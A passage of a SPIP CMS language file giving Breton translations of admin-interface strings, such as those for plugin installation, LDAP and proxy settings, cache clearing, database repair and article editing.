'jour_non_connu_nc' => 'dianav',
// L
'label_bando_outils' => 'Barrenn ostilhoù',
'label_bando_outils_afficher' => 'Diskouez an ostilhoù',
'label_bando_outils_masquer' => 'Kuzhat an ostilhoù',
'label_choix_langue' => 'Dibabit ho yezh',
'label_nom_fichier_connect' => 'Lakait anv an dafariad-mañ',
'label_slogan_site' => 'Lugan al load internet',
'label_taille_ecran' => 'Ledander ar skramm',
'label_texte_et_icones_navigation' => 'Lañser gwedeiñ',
'label_texte_et_icones_page' => 'Diskouez er bajenn',
'ldap_correspondance' => 'hêrezh ar vaezienn @champ@',
'ldap_correspondance_1' => 'Hêrezh ar maeziennoù LDAP',
'ldap_correspondance_2' => 'Merkañ anv ar vaezienn LDAP evit pep hini eus ar maeziennoù SPIP da-heul. Lezel goullo kuit na vefe leuniet pa dispartiañ dre skejoù evit esaeañ meur a vaezienn LDAP.',
'lien_ajout_destinataire' => 'Ouzhpennañ an degemerer-mañ',
'lien_ajouter_auteur' => 'Ouzhpennañ ar skridaozer-mañ',
'lien_ajouter_participant' => 'Ouzhpennañ ur perzhiad',
'lien_ajouter_une_rubrique' => 'Ouzhpennañ ar rubrikenn-mañ',
'lien_email' => 'postel',
'lien_nom_site' => 'ANV AL LEC’HIENN :',
'lien_retirer_auteur' => 'Lemel ar skridaozer',
'lien_retirer_rubrique' => 'Tennañ kuit ar rubrikenn',
'lien_retirer_tous_auteurs' => 'Tennañ kuit an holl aozerion',
'lien_retirer_toutes_rubriques' => 'Tennañ kuit holl ar rubrikennoù',
'lien_retrait_particpant' => 'lemel ar perzhiad-mañ',
'lien_site' => 'lec’hienn',
'lien_supprimer_rubrique' => 'diverkañ ar rubrikenn-mañ',
'lien_tout_deplier' => 'Dispakañ pep tra',
'lien_tout_replier' => 'Adpakañ pep tra',
'lien_tout_supprimer' => 'Diverkañ pep tra',
'lien_trier_nom' => 'Renkañ diouzh an anv',
'lien_trier_nombre_articles' => 'Renkañ diouzh an niver a bennadoù',
'lien_trier_statut' => 'Renkañ diouzh ar statud',
'lien_voir_en_ligne' => 'GWELET ENLINENN :',
'logo_article' => 'LOGO AR PENNAD',
'logo_auteur' => 'LOGO AR SKRIDAOZER',
'logo_rubrique' => 'LOGO AR RUBRIKENN',
'logo_site' => 'LOGO AL LOAD INTERNET-MAÑ',
'logo_standard_rubrique' => 'LOGO BOAS AR RUBRIKENNOÙ',
'logo_survol' => 'LOGO RIKLAÑ AL LOGODENN',
// M
'menu_aide_installation_choix_base' => 'dibab ho tiaz',
'module_fichier_langue' => 'Restr yezh',
'module_raccourci' => 'Berradenn',
'module_texte_affiche' => 'Testenn diskouezet',
'module_texte_explicatif' => 'Gallout a rit ouzhpennañ ar berradennoù da-heul e frammoù al lec’hienn foran. En un doare emgefreek e vint troet er yezhoù ma’z eus ur restr yezh.',
'module_texte_traduction' => 'Gallout a reer kaout ar restr yezh « @module@ » e :',
'mois_non_connu' => 'dianav',
// N
'nouvelle_version_spip' => 'Prest eo handelv @version@ SPIP ',
// O
'onglet_contenu' => 'Endalc’had',
'onglet_declarer_une_autre_base' => 'Disklêriañ un diaz all',
'onglet_discuter' => 'Flapiñ',
'onglet_documents' => 'Restroù',
'onglet_interactivite' => 'Etreobererezh',
'onglet_proprietes' => 'Perzhioù',
'onglet_repartition_actuelle' => 'betek-henn',
'onglet_sous_rubriques' => 'Isrummadoù',
// P
'page_pas_proxy' => 'Arabat d’ar bajenn-mañ tremen dre ar proksi',
'pas_de_proxy_pour' => 'Ma vez ezhomm merkit ar mekanikoù pe domanioù na zle ket ar proksi-mañ mont en-dro evito (da skouer : @exemple@)',
'plugin_charge_paquet' => 'Kargañ ar pakad @name@',
'plugin_charger' => 'Pellgargañ',
'plugin_erreur_charger' => 'fazi : dibosupl eo kargañ @zip@',
'plugin_erreur_droit1' => 'N’haller ket skrivañ war ar c’havlec’h <code>@dest@</code>.',
'plugin_erreur_droit2' => 'Gwiriit an aotreoù war ar c’havlec’h-mañ (ha kempennit anezho diouzh ret), pe stailhit ar restroù dre FTP.',
'plugin_erreur_zip' => 'fazi pclzip : fazi @status@',
'plugin_etat_developpement' => 'o tiorren',
'plugin_etat_experimental' => 'arnodel',
'plugin_etat_stable' => 'stabil',
'plugin_etat_test' => 'o vezañ amprouet',
'plugin_impossible_activer' => 'Dibosupl eo gweredekaat an adveziant @plugin@',
'plugin_info_automatique1' => 'Mar fell deoc’h aotren staliadur emgefre an adveziantoù, setu penaos :',
'plugin_info_automatique1_lib' => 'Mard oc’h a-du da zesezañ emgefreek al levraoueg-mañ, teurvezit:',
'plugin_info_automatique2' => 'krouit ur c’havlec’h <code>@rep@</code> ;',
'plugin_info_automatique3' => 'Gwiriit eo aotreet-mat ar servijer da skrivañ er c’havlec’h-se.',
'plugin_info_automatique_creer' => 'da grouiñ e gwrizienn al lec’hienn.',
'plugin_info_automatique_exemples' => 'da skouer :',
'plugin_info_automatique_ftp' => 'Gallout a rit staliañ adveziantoù dre FTP er c’havlec’h <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Adveziantoù zo a c’houlenn gellout pellgargañ restroù er c’havlec’h <code>lib/</code>. Da vezañ krouet, diouzh an dro, e gwrizienn al lec’hienn.',
'plugin_info_automatique_liste' => 'Ho rolloù adveziantoù :',
'plugin_info_automatique_liste_officielle' => 'An adveziantoù ofisiel',
'plugin_info_automatique_liste_update' => 'Hizivaat ar rolloù',
'plugin_info_automatique_ou' => 'pe...',
'plugin_info_automatique_select' => 'Diuzit un adveziant amañ a-is : pellgarget e vo gant SPIP ha staliet er c’havlec’h <code>@rep@</code> ; ma’z eus eus an adveziant-mañ c’hoazh e vo hizivaet.',
'plugin_info_credit' => 'Diwar',
'plugin_info_erreur_xml' => 'Direizh eo disklêriadur an askouez plugin-mañ',
'plugin_info_install_ok' => 'Desezañ deuet da vat !',
'plugin_info_necessite' => 'Ret :',
'plugin_info_non_compatible_spip' => 'Ne glot ket ar plugin-mañ gant an handelv SPIP-mañ',
'plugin_info_plugins_dist_1' => 'Karget ha gweredek eo an askouezioù-mañ er c’havlec’h @plugins_dist@.',
'plugin_info_plugins_dist_2' => 'Diweredekaus ez int',
'plugin_info_telecharger' => 'da bellgargañ adal @url@ ha da staliañ e @rep@',
'plugin_librairies_installees' => 'Levraouegoù bet staliet',
'plugin_necessite_lib' => 'Ezhomm en deus an adveziant-mañ eus al levraoueg @lib@',
'plugin_necessite_plugin' => 'Ezhomm en deus eus an adveziant @plugin@ e stumm @version@ d’an nebeutañ.',
'plugin_necessite_plugin_sans_version' => 'Askouez @plugin@ ret',
'plugin_necessite_spip' => 'Ezhomm zo eus stumm @version@ SPIP da nebeutañ.',
'plugin_source' => 'orin: ',
'plugin_titre_automatique' => 'Staliadur emgefre',
'plugin_titre_automatique_ajouter' => 'Ouzhpennañ adveziantoù',
'plugin_titre_installation' => 'Desezañ an askouez @plugin@',
'plugin_titre_modifier' => 'Va askouezioù plugin',
'plugin_zip_active' => 'Kendalc’hit evit e weredekaat',
'plugin_zip_adresse' => 'merkit amañ a-is chomlec’h restr zip un adveziant da bellgargañ, pe hini ul rollad adveziantoù.',
'plugin_zip_adresse_champ' => 'Chomlec’h an adveziant pe hini ar roll ',
'plugin_zip_content' => 'Ennañ emañ ar restroù (@taille@),<br />prest da vezañ staliet er c’havlec’h <code>@rep@</code>',
'plugin_zip_installe_finie' => 'Diwasket ha staliet eo bet ar restr @zip@ .',
'plugin_zip_installe_rep_finie' => 'Diwasket eo bet ar restr @zip@ ha staliet er c’havlec’h @rep@',
'plugin_zip_installer' => 'Bremañ e c’hellit staliañ anezhañ.',
'plugin_zip_telecharge' => 'Pellgarget eo bet ar restr @zip@',
'plugins_actif_aucun' => 'Askouez plugin gweredek ebet',
'plugins_actif_un' => 'Un askouez plugin gweredek',
'plugins_actifs' => '@count@ adveziant gweredekaet.',
'plugins_actifs_liste' => 'Gweredek',
'plugins_compte' => '@count@ adveziant',
'plugins_disponible_un' => 'Un askouez plugin prest',
'plugins_disponibles' => '@count@ adveziant hegerz.',
'plugins_erreur' => 'Fazi en adveziantoù : @plugins@',
'plugins_liste' => 'Roll an adveziantoù',
'plugins_liste_dist' => 'Askouezioù plugin prennet',
'plugins_recents' => 'Askouezioù Plugin nevez',
'plugins_tous_liste' => 'Holl',
'plugins_vue_hierarchie' => 'Urzhaz',
'plugins_vue_liste' => 'Roll',
'protocole_ldap' => 'Stumm ar protokol :',
// Q
'queue_executer_maintenant' => 'Seveniñ bremañ',
'queue_info_purger' => 'Bez e c’hallit lemel an holl labourioù o c’hortoz, ha nevesaat roll al labourioù mareadek',
'queue_nb_jobs_in_queue' => '@nb@ labourioù o c’hortoz',
'queue_next_job_in_nb_sec' => 'Labour-all a-benn @nb@ eilenn',
'queue_no_job_in_queue' => 'Labour ebet o chom a-ispilh',
'queue_one_job_in_queue' => '1 labour o chom a-ispilh',
'queue_purger_queue' => 'Nevesaat roll al labourioù',
'queue_titre' => 'Roll al labourioù',
// R
'repertoire_plugins' => 'Kavlec’h :',
// S
'sans_heure' => 'hep eur',
'statut_admin_restreint' => '(merour strishaet)', # MODIF
// T
'tache_cron_asap' => 'Lodenn labour CRON @function@ (ASAP)',
'tache_cron_secondes' => 'Lodenn labour CRON @function@ (bep @nb@ eilenn)',
'taille_cache_image' => '@taille@ eo hollad ar skeudennoù jedet gant ent emgefre gant SPIP (skeudennigoù an teulioù, an titloù kinniget dindan ur stumm grafek, ar fonksionoù jedoniezh er stumm TeX...) hag a zo er c’havlec’h @dir@.',
'taille_cache_infinie' => 'N’eo ket bevennet ment kavlec’h ar grubuilh war al lec’hienn-mañ.',
'taille_cache_maxi' => 'Klask a ra SPIP bevenniñ ment kavlec’h krubuilh al lec’hienn-mañ e-tro <b>@octets@</b> a roadennoù.',
'taille_cache_moins_de' => 'Ment ar c’huzh@octets@.',
'taille_cache_octets' => '@octets@ eo ment ar grubuilh evit ar mare.',
'taille_cache_vide' => 'Goullo eo ar grubuilh',
'taille_repertoire_cache' => 'Ment kavlec’h ar grubuilh',
'text_article_propose_publication' => 'Pennad kinniget evit an embann.',
'texte_acces_ldap_anonyme_1' => 'Servijerioù LDAP zo ne aotreont ket ar monedoù dizanv. En degouezh-se e vo ret deoc’h merkañ un anv moned a-raok gallout klask titouroù er rollad. Peurliesañ e c’hallot lezel goullo ar maeziennoù-se koulskoude.',
'texte_admin_effacer_01' => 'Diverkañ a raio an urzhad-se <i>PEP TRA</i> en ho tiaz titouroù,
da lavaret eo <i>holl</i> aotreoù ar verourien hag ar skridaozerien. Goude bezañ bet graet se e rankot
adstaliañ SPIP hag adkrouiñ un diaz titouroù nevez hag ur moned merour kentañ nevez.',
'texte_adresse_annuaire_1' => '(M’eo staliet ar roll tud war an hevelep mekanik hag al lec’hienn-mañ, e tle bezañ «localhost».)',
'texte_ajout_auteur' => 'Ouzhpennet eo bet ar skridaozer-mañ d’ar pennad :',
'texte_annuaire_ldap_1' => 'M’hoc’h eus tro d’ober gant ur roll tud (LDAP) e c’hellit e implijout evit enporzhiañ implijerien war SPIP ent emgefre.',
'texte_article_statut' => 'Ar pennad-mañ zo :',
'texte_article_virtuel' => 'Pennad galloudel',
'texte_article_virtuel_reference' => '<b>pennad galloudel :</b> pennad menegeret en ho lec’hienn SPIP, met adkaset war-du un URL all. Evit paouez gant an adkas, diverkañ an URL a-us.',
'texte_aucun_resultat_auteur' => 'Disoc’h ebet evit "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Gallout a ra al lec’hienn-mañ diskouez deoc’h roll ar skridaozerien kevreet a-hed an amzer, ar pezh a aotren ac’hanoc’h da eskemm ganto war ar prim. Gallout a rit dibab chom hep dont war wel war ar roll-mañ (« diwelus » oc’h neuze evit an implijerien all).',
'texte_auteur_messagerie_1' => 'War al lec’hienn-mañ eo posupl kas kemennadennoù pe sevel foromoù prevez, etre an izili. Gallout a rit dibab chom hep kemer perzh en eskemmoù-se.',
'texte_auteurs' => 'AR SKRIDAOZERIEN',
'texte_choix_base_1' => 'Dibabit ho tiaz :',
'texte_choix_base_2' => 'Er servijer SQL ez eus meur a ziaz titouroù.',
'texte_choix_base_3' => '<b>Diuzit</b> amañ dindan an hini zo bet lakaet deoc’h gant an herberc’hier :',
'texte_choix_table_prefix' => 'Rakger an taolennoù :',
'texte_commande_vider_tables_indexation' => 'Grit gant an urzhiad-mañ a-benn goullonderiñ an taolennoù menegeriñ implijet
gant lusker enklask diabarzh SPIP. Gounit a reot plas war ho pladenn.',
'texte_compatibilite_html' => 'Bez e c’hallit goulenn digant SPIP lakaat (war al lec’hienn voutin) boneg keverlec’h gant reolad<i>HTML4</i>, pe aotren <i>HTML5</i> a zo arnevesoc’h.',
'texte_compatibilite_html_attention' => 'Riskl ebet da werediñ an dibab <i>HTML5</i>, met lakait neuze <code><!DOCTYPE html></code> e penn pep pajenn ho lec’hienn.',
'texte_compresse_ou_non' => '(hennezh a c’hell bezañ gwasket pe get)',
'texte_compte_element' => '@count@ elfenn',
'texte_compte_elements' => '@count@ elfenn',
'texte_conflit_edition_correction' => 'Gwiriit amañ dindan an diforc’hioù etre daou stumm an destenn. Gallout a rit ivez eilañ ho kemmoù, hag adkregiñ.',
'texte_connexion_mysql' => 'Sellit ouzh an titouroù roet gant an herberc’hier : Enno e tlefec’h kavout ar servijer diazoù titouroù a vez kinniget gantañ hag ar c’hodoù kevreañ personel.',
'texte_contenu_article' => '(Kinnig ar pennad berr-ha-berr.)',
'texte_contenu_articles' => 'Hevez ar vaketenn dibabet evit sevel ho lec’hienn e c’hellit divizout
ne vo ket implijet elfennoù zo er pennadoù.
Implijit al listenn amañ dindan evit merkañ pere eo an elfennoù a c’heller ober ganto.',
'texte_crash_base' => 'Ma’z eo sac’het ho tiaz titouroù e c’hellit klask ratreañ en un doare emgefreek.',
'texte_creer_rubrique' => 'A-raok gallout skrivañ pennadoù<br /> e rankit krouiñ ur rubrikenn.',
'texte_date_creation_article' => 'DEIZIAD KROUIÑ AR PENNAD :',
'texte_date_creation_objet' => 'Deiziad krouiñ :', # on ajoute le ":"
'texte_date_publication_anterieure' => 'DEIZIAD EMBANN KENT :',
'texte_date_publication_anterieure_nonaffichee' => 'Na ziskouez an deiziad embann kent.',
'texte_date_publication_article' => 'DEIZIAD EMBANN ENLINENN :',
'texte_date_publication_objet' => 'Deiziad embann enlinenn :',
'texte_descriptif_petition' => 'Deskrivadur ar sinadeg',
'texte_descriptif_rapide' => 'Berr-ha-berr',
'texte_effacer_base' => 'Diverkañ diaz titouroù SPIP',
'texte_effacer_donnees_indexation' => 'Diverkañ ar roadoù menegeriñ',
'texte_effacer_statistiques' => 'Diverkañ ar stadegoù',
'texte_en_cours_validation' => 'Kinniget eo ar pennadoù ha berrskridoù amañ dindan d’an embann.',
'texte_enrichir_mise_a_jour' => 'Gallout a rit bravaat pajennaozañ ho testenn en ur implijout « berradennoù tipografek ».',
'texte_fichier_authent' => '<b>Ha rankout a ra SPIP krouiñ ar restroù dibar <tt>.htpasswd</tt>
ha <tt>.htpasswd-admin</tt> er c’havlec’h @dossier@ ?</b><p>
Gant ar restroù-se e c’hallit herzel ouzh ar re n’int ket skridaozer pe merour da vont war bajenoù all zo
(programm stadegoù diavaez, da skouer).</p><p>
Ma n’hoc’h eus ket ezhomm d’hen ober e c’hellit lezel an traoù evel m’emaint lakaet dre-ziouer
(ne vo ket krouet ar restroù).</p>', # MODIF
'texte_informations_personnelles_1' => 'Bremañ e vo krouet gant ar reizhiad ur moned personel d’al lec’hienn evidoc’h.',
'texte_informations_personnelles_2' => '(Notenn : m’emaoc’h oc’h adstaliañ SPIP hag ez a c’hoazh ho moned kozh en-dro e c’hallit ',
'texte_introductif_article' => '(Testenn digeriñ ar pennad)',
'texte_jeu_caractere' => 'Gant al lizherenneg hollvedel (<tt>utf-8</tt>) oc’h aliet d’ober : aotren a ra diskwel testennoù en holl yezhoù, ha ne sav kudenn kenglotañ ebet ken gant ar merdeerioù a-vremañ.',
'texte_jeu_caractere_2' => 'Diwallit : o kemmañ an dra-se, ne vo ket amdroet an testennoù bet enrollet war an diaz titouroù betek-henn.',
'texte_jeu_caractere_3' => 'Gant ar strobad arouezennoù-mañ e ra ho lec’hienn :',
'texte_jeu_caractere_4' => 'Ma ne glot ket gant gwirvoud ho roadennoù (da skouer, m’emaoc’h o paouez assevel un diaz titouroù), pe ma <em>loc’hit gant al lec’hienn-mañ</em> hag hoc’h eus c’hoant d’ober gant ur strobad arouezennoù all, resisait se amañ dindan :',
'texte_jeu_caractere_conversion' => 'Notenn :Gallout a rit amdreiñ holl destennoù ho lec’hienn (pennadoù, berrskridoù, foromoù, h.a.)ur wech da vat davet al lizherenneg <tt>utf-8</tt>, maz’it war <a href="@url@">ar bajenn amdreiñ davet utf-8</a>.',
'texte_lien_hypertexte' => '(Ma rit meneg en ho kemennadenn eus ur pennad all embannet war ar Genrouedad, pe eus ur bajenn enni muioc’h a ditouroù, merkit aze titl ar bajenn gant hec’h URL.)',
'texte_login_ldap_1' => '(Na skrivit netra evit ur moned dizanv, pe skrivit an hent klok, da skouer « <tt>uid=anv, ou=users, dc=ma-zomani, dc=com</tt> ».)',
'texte_login_precaution' => 'Diwallit ! Setu ar c’hod kevreañ a dalvez deoc’h da gevreañ evit ar mare.
Taolit evezh gant ar furmskrid-mañ...',
'texte_message_edit' => 'Diwallit :Gallout a ra ar gemennadenn-mañ bezañ kemmet gant holl verourien al lec’hienn, ha gwelet e vo gant an holl skridaozerien. Na implijit ar c’hemennoù NEMET evit rentañ kont eus darvoudoù pouezus e buhez al lec’hienn.',
'texte_messagerie_agenda' => 'Gant ur postelerezh e c’hell ar skridaozerien eskemm an eil gant egile dre lodenn brevez al lec’hienn. Un deiziataer zo stag outañ.',
'texte_mise_a_niveau_base_1' => 'O paouez hizivaat restroù SPIP emaoc’h. Bremañ eo dav ober kemend-all evit an diaz titouroù.',
'texte_modifier_article' => 'Kemmañ ar pennad :',
'texte_moteur_recherche_active' => '<b>Gweredekaet eo al lusker enklask.</b> Implijit an urzhiad-mañ evit un advenegeradur prim
(goude assevel ur savete, da skouer). O-unan e vez advenegeret an teulioù kemmet en un doare reizh
(adalek etrefas SPIP) : setu n’eus d’ober gant an urzhiad-mañ nemet e degouezhioù divoutin.',
'texte_moteur_recherche_non_active' => 'N’eo ket gweredekaet al lusker enklask.',
'texte_multilinguisme' => 'Mar fell deoc’h merañ pennadoù e meur a yezh, dre un doare merdeiñ kemplezh, e c’hallit ouzhpennañ ul lañser dibab yezhoù war ar pennadoù ha/pe war ar rubrikennoù, hervez ar mod m’eo aozet ho load internet.',
'texte_multilinguisme_trad' => 'Gallout a rit gweredekaat ur reizhiad merañ liammoù etre troidigezhioù disheñvel ar pennadoù ivez.',
'texte_non_compresse' => '<i>ket gwasket</i> (ne vez ket skoret an arc’hwel-se gant ho servijer)',
'texte_nouveau_message' => 'Kemennadenn nevez',
'texte_nouvelle_version_spip_1' => 'Ur stumm nevez eus SPIP zo bet staliet ganeoc’h.',
'texte_nouvelle_version_spip_2' => 'Evit peurstaliañ anezhañ ez eus ezhomm un hizivadenn glokoc’h eget boaz. Ma’z oc’h webmestr al lec’hienn, diverkit ar restr @connect@ hag adkrogit gant ar staliadur a-benn hizivaat an arventennoù kevreañ ouzh an diaz titouroù.<p> (NM. M’hoc’h eus ankouaet ho titouroù kevreañ , taolit ur sell ouzh ar restr @connect@ a-raok he diverkañ...)</p>',
'texte_operation_echec' => 'Distroit d’ar bajenn kent, diuzit un diaz all, pe krouit unan nevez. Gwiriit an titouroù bet roet deoc’h gant an herberc’hier.',
'texte_plus_trois_car' => 'ouzhpenn 3 arouezenn',
'texte_plusieurs_articles' => 'Meur a skridaozer bet kavet evit "@cherche_auteur@":',
'texte_port_annuaire' => '(Peurliesañ e tegouezh an talvoud roet dre ziouer.)',
'texte_presente_plugin' => 'War ar bajenn-mañ emañ rollet an adveziantoù hegerz evit al lec’hienn-mañ. Gallout a rit gweredekaat an adveziantoù a fell deoc’h, en ur askañ al log a zere',
'texte_proposer_publication' => 'Ur wech echu ho pennad <br /> e c’hellit kinnig ma vo embannet.',
'texte_proxy' => 'E degouezhioù zo (enrouedad, rouedadoù gwarezet,...), n’hallo al lec’hiennoù pell (teuliad skoazell SPIP, lec’hiennoù sindikadet, ...) bezañ tizhet nemet dre ur <i>proksi HTTP</i>. Diouzh ma vez, skrivit amañ dindan ar chomlec’h anezhañ, er stumm @proxy_en_cours@. Peurliesañ ne vo skrivet netra amañ.',
'texte_publication_articles_post_dates' => 'Peseurt emzalc’h a zle SPIP kaout gant ar pennadoù zo bet lakaet dezho un deiziad embann en amzer da zont ?',
'texte_rappel_selection_champs' => '[N’ankouait ket diuzañ mat ar vaezienn-mañ.]',
'texte_recalcul_page' => 'Mar fell deoc’h adjediñ ur bajenn hepken, tremenit kentoc’h dre al lodenn foran hag implijit an nozelenn « adjediñ ».',
'texte_recapitiule_liste_documents' => 'War ar bajenn-mañ emañ renablet an teulioù hoc’h eus lakaet er rubrikennoù. Evit kemmañ titouroù pep teul, heuilhit al liamm war-du pajenn e rubrikenn.',
'texte_recuperer_base' => 'Ratreañ an diaz titouroù',
'texte_reference_mais_redirige' => 'pennad menegeret en ho lec’hienn SPIP, met adkaset davet un URL all.',
'texte_requetes_echouent' => '<b>Pa chom sac’het ingal pe hep abeg rekedoù SQL,
e c’hell bezañ abalamour d’an diaz titouroù</b><p>
Gant SQL e c’hell an taolennnoù en em gempenn o-unan p’int bet nodet dre zegouezh.
Amañ e c’hallit klask adgempenn anezho. Ma c’hwit, mirit un eilenn eus an doare diskwel, e ken kaz ma vefe titouroù talvoudus ennañ.</p><p>
Kit e darempred gant an herberc’hier ma c’hoarvez ar gudenn adarre.</p>',
'texte_selection_langue_principale' => 'Amañ dindan e c’hellit diuzañ « yezh pennañ » al lec’hienn. Ne dalvez ket e viot rediet da skrivañ ho pennadoù er yezh-se, met servijout a ra da resisaat :
<ul><li> ar furmad dre ziouer da ziskouez an deiziadoù war al lec’hienn foran ;</li>
<li> peseurt lusker skrivañ a rank bezañ implijet gant SPIP evit diskouez an testennoù ;</li>
<li> ar yezh implijet e furmskridoù al lodenn foran ;</li>
<li> ar yezh implijet dre ziouer el lodenn brevez.</li></ul>',
'texte_sous_titre' => 'Istitl',
'texte_statistiques_visites' => '(barrennoù teñval : Sul / krommenn deñval : emdroadur ar geidenn)',
'texte_statut_attente_validation' => 'o c’hortoz bezañ asantet',
'texte_statut_publies' => 'embannet enlinenn',
'texte_statut_refuses' => 'nac’het',
'texte_suppression_fichiers' => 'Implijit an urzhiad-se evit diverkañ an holl restroù krubuilhet e SPIP. An dra-se a c’hell servijout evit ma vo adjedet ho holl pajennoù, dre heg, m’hoc’h eus graet kemmoù bras e neuz pe e framm al lec’hienn.',
'texte_sur_titre' => 'Ustitl',
'texte_table_ok' => ': kudenn ebet gant an daolenn-mañ.',
'texte_tables_indexation_vides' => 'Goullo eo taolennoù menegeriñ al lusker.',
'texte_tentative_recuperation' => 'Taol-esa evit ratreañ',
'texte_tenter_reparation' => 'Klask ratreañ an diaz titouroù',
'texte_test_proxy' => 'Evit amprouiñ ar proksi-mañ, skrivit amañ dindan chomlec’h al lec’hienn a fell deoc’h arnodiñ.',
'texte_titre_02' => 'Titl :',
'texte_titre_obligatoire' => '<b>Titl</b> [Rekis]',
'texte_travail_article' => '@nom_auteur_modif@ en deus labouret war ar pennad-mañ @date_diff@ munutenn zo',
'texte_travail_collaboratif' => 'Ma c’hoarvez alies e labourfe meur a zen war an hevelep pennad
e c’hell ar reizhiad diskouez ar pennadoù bet « digoret » nevez zo
a-benn herzel ma vo graet meur a gemm war un dro.
Diweredekaet eo an dibarzh-mañ dre ziouer kuit da gaout kemennoù diwall a-hed an amzer.',
'texte_trop_resultats_auteurs' => 'Re a zisoc’hoù evit "@cherche_auteur@" ; resisait termenoù hoc’h enklask.',
'texte_unpack' => 'o pellgargañ ar stumm diwezhañ',
'texte_utilisation_moteur_syndiques' => 'Pa implijit al lusker enklask enframmet
e SPIP e c’hallit sevel enklaskoù war an lec’hiennoù hag
ar pennadoù sindikadet e daou zoare
disheñvel.<br />
- Gant an hini eeunañ e vez klasket e titloù ha deskrivadurioù ar pennadoù hepken.<br />
- Gant an eil doare, kalz galloudusoc’h, e vo graet an enklask en holl destennoù da gaout war al lec’hiennoù menegeret.
Ma menegerit ul lec’hienn e raio SPIP e enklask e testenn al lec’hienn.',
'texte_utilisation_moteur_syndiques_2' => 'Gant an doare-se eo rediet SPIP da weladenniñ alies al lec’hiennoù menegeret, ar pezh a c’hell gorrekaat ho lec’hienn-c’hwi un disterañ.',
'texte_vide' => 'goullo',
'texte_vider_cache' => 'Goullonderiñ ar grubuilh',
'titre_admin_effacer' => 'Trezalc’h teknikel',
'titre_admin_tech' => 'Trezalc’h teknikel',
'titre_admin_vider' => 'Trezalc’h teknikel',
'titre_ajouter_un_auteur' => 'Ouzhpennañ un aozer',
'titre_ajouter_un_mot' => 'Ouzhpennañ ur ger-alc’hwez',
'titre_ajouter_une_rubrique' => 'Ouzhpennañ ur rubrikenn',
'titre_cadre_afficher_article' => 'Diskouez ar pennadoù',
'titre_cadre_afficher_traductions' => 'Diskouez stad an troidigezhioù evit ar yezhoù-mañ :',
'titre_cadre_ajouter_auteur' => 'OUZHPENNAÑ UR SKRIDAOZER :',
'titre_cadre_interieur_rubrique' => 'Er rubrikenn',
'titre_cadre_numero_auteur' => 'SKRIDAOZER NIVERENN',
'titre_cadre_numero_objet' => '@objet@ NIVERENN :',
'titre_cadre_signature_obligatoire' => '<b>Sinadur</b> [Rekis]<br />',
'titre_config_contenu_notifications' => 'Kemennoù nevezinti',
'titre_config_contenu_prive' => 'El lodenn brevez',
'titre_config_contenu_public' => 'War al lec’hienn foran',
'titre_config_fonctions' => 'Kefluniadur al lec’hienn',
'titre_config_langage' => 'Kefluniañ ar yezh',
'titre_configuration' => 'Kefluniañ al lec’hienn',
'titre_configurer_preferences' => 'Kefluniañ ho tibaboù',
'titre_conflit_edition' => 'Bec’h e-ser embann',
'titre_connexion_ldap' => 'Dibarzhioù : <b>Ho kevreadenn LDAP</b>',
'titre_groupe_mots' => 'STROLLAD GERIOÙ :',
'titre_identite_site' => 'Merk hennadiñ al load internet',
'titre_langue_article' => 'YEZH AR PENNAD',
'titre_langue_rubrique' => 'YEZH AR RUBRIKENN',
'titre_langue_trad_article' => 'YEZH HA TROIDIGEZHIOÙ AR PENNAD',
'titre_les_articles' => 'AR PENNADOÙ',
'titre_messagerie_agenda' => 'Postelerezh ha deiziataer',
'titre_naviguer_dans_le_site' => 'Merdeiñ el lec’hienn...',
'titre_nouvelle_rubrique' => 'Rubrikenn nevez',
'titre_numero_rubrique' => 'RUBRIKENN NIVERENN :',
'titre_page_admin_effacer' => 'Trezalc’h teknikel : diverkañ an diaz',
'titre_page_articles_edit' => 'Kemman : @titre@',
'titre_page_articles_page' => 'Ar pennadoù',
'titre_page_articles_tous' => 'Al lec’hienn a-bezh',
'titre_page_auteurs' => 'Gweladennerien',
'titre_page_calendrier' => 'Deiziataer @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Kefluniañ al lec’hienn',
'titre_page_config_fonctions' => 'Kefluniañ al lec’hienn',
'titre_page_configuration' => 'Kefluniañ al lec’hienn',
'titre_page_controle_petition' => 'Heuliañ ar sinadegoù',
'titre_page_delete_all' => 'diverket e vo pep tra, ne vo ket tu da zont war-gil',
'titre_page_documents_liste' => 'Teuliadoù ar rubrikennoù',
'titre_page_index' => 'Ho lodenn brevez',
'titre_page_message_edit' => 'Skrivañ ur gemennadenn',
'titre_page_messagerie' => 'Ho postelerezh',
'titre_page_recherche' => 'Disoc’hoù an enklask @recherche@',
'titre_page_statistiques_referers' => 'Stadegoù (liammoù davet al lec’hienn-mañ)',
'titre_page_statistiques_signatures_jour' => 'Niver a sinadurioù bemdez',
'titre_page_statistiques_signatures_mois' => 'Niver a sinadurioù bep miz',
'titre_page_upgrade' => 'Hizivaat SPIP',
'titre_publication_articles_post_dates' => 'Embann ar pennadoù deiziataet a-c’houde',
'titre_referencer_site' => 'Menegeriñ war al lec’hienn :',
'titre_rendez_vous' => 'EMGAV :',
'titre_reparation' => 'Kempenn',
'titre_suivi_petition' => 'Heuliañ ar sinadegoù',
'tls_ldap' => 'Surentez Treuzdougen a-Wiskadoù :',
'trad_article_inexistant' => 'N’eus pennad ebet gant an niverenn-mañ.',
'trad_article_traduction' => 'Holl stummoù ar pennad-mañ :',
'trad_deja_traduit' => 'Fazi : Dibosupl eo liammañ ar pennad-mañ ouzh an niverenn bet goulennet.',
'trad_delier' => 'Paouez da liammañ ar pennad-mañ ouzh an troidigezhioù anezhañ',
'trad_lier' => 'Un droidigezh eo ar pennad-mañ. Setu niverenn ar pennad orin :',
'trad_new' => 'Skrivañ un droidigezh nevez evit ar pennad-mañ',
// U
'upload_info_mode_document' => 'Lakaat ar skeudenn-mañ er portofolio',
'upload_info_mode_image' => 'Tennañ ar skeudenn-mañ kuit eus ar portofolio',
'utf8_convert_attendez' => 'Gortozit un tammig, hag adkargit ar bajenn-mañ',
'utf8_convert_avertissement' => 'Emaoc’h war-nes amdreiñ endalc’had ho tiaz titouroù (pennadoù, berrskridoù, h.a.), eus ar strobad arouezennoù <b>@orig@</b> d’an hini <b>@charset@</b>.',
'utf8_convert_backup' => 'N’ankouait ket enrollañ ho lec’hienn penn-da-benn a-raok. Dleout a rafec’h ivez gwiriekaat eo kenglotus ho frammoù gant @charset@.',
'utf8_convert_erreur_deja' => 'Emañ ho lec’hienn e @charset@ dija, n’eus netra d’ober...',
